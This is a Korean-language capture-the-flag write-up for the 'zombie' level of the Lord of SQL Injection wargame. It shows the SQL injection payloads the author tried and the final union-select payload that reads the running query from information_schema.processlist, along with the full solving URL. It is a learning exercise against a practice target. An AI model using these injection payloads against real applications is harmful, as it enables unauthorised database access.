> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/zombie.md).

# zombie

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-iN0H5atNkYoqoJaJ4%2F-M-iNIbfZxKHBzyd5I2R%2Fimage.png?alt=media\&token=b5190718-2cd4-4cee-943c-7616d79652b8)

pw에 `' or length(pw)>0#`  넣어봤지만 아무 결과도 나오지 않았다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-iNKnsd5dys1Ux8kGQ%2F-M-iO1YYu4vOcTTStdwz%2Fimage.png?alt=media\&token=9f247013-e7ef-4deb-ae82-1c29316ce874)

테이블을 비워둔 것으로 추측하였다.

pw에 `' union select 1#` 을 넣어보니 아래와 같았다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-iNKnsd5dys1Ux8kGQ%2F-M-iO5fxXZm7jHyy9tuj%2Fimage.png?alt=media\&token=e5a2e3c9-7490-4359-8542-cba80f79eb8d)

즉, 자기 자신의 소스코드를 출력하는 quine을 이용해 풀어야 하는 문제이다.

replace가 필터링 되기 때문에 prob\_ouroboros와 같은 방법으로 풀 순 없다.

<https://los.rubiya.kr/chall/zombie_78238dee92f8ed0f508b0e9e00fc0e49.php?pw=%27%20union%20select%20substr(info,%2038,%2072)%20from%20information_schema.processlist%23> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-iToqMuIitwrogIIc6%2F-M-iTqt4IfcGiw-D8Bsl%2Fimage.png?alt=media\&token=f90ae987-f6f0-4035-b3fb-f61316a4756b)

pw에 `' union select substr(info, 38, 72) from information_schema.processlist#` 을 넣은 셈이다.

information\_schema 데이터베이스의 processlist 테이블의 info 컬럼에 현재 실행중인 쿼리문이 저장된다는 사실을 이용한 것이다.
